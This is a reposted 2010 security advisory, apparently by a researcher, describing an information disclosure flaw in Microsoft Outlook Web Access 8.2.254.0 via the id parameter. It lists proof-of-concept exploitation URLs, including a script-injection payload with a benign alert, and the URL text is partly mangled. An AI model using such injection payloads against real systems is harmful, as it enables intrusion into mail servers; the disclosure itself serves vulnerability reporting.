Microsoft Outlook Web Access (OWA) version 8.2.254.0 information disclosure vulnerability

iteye_11341

于 2010-05-25 14:37:00 发布

阅读量100

点赞数

发现Microsoft OWA版本8.2.254.0存在信息泄露漏洞，攻击者可通过特定的id参数进行攻击。详细介绍了多种利用此漏洞的攻击方式。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
"Microsoft Outlook Web Access (OWA) version 8.2.254.0"
OS: Windows Server 2003
Internet Explorer 7
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
There is an information disclosure vulnerability in "Microsoft Outlook Web
Access (OWA) version 8.2.254.0".

The issue is with the id parameter.
Following are different exploitation techniques:
https://example.com/owa/?ae=Folder&t=IPF.Note&id=<script>alert("HHH")</script<https://example.com/owa/?ae=Folder&t=IPF.Note&id=%3cscript%3ealert(%22HHH%22)%3c/script>
>
 
https://example.com/owa/?ae=Folder&t=IPF.Note&id=
https://example.com/owa/?ae=Folder&t=IPF.Note&id=A
 
Best Regards,
Praveen Darshanam,
Security Researcher,
INDIA

// sebug.net [2010-05-25]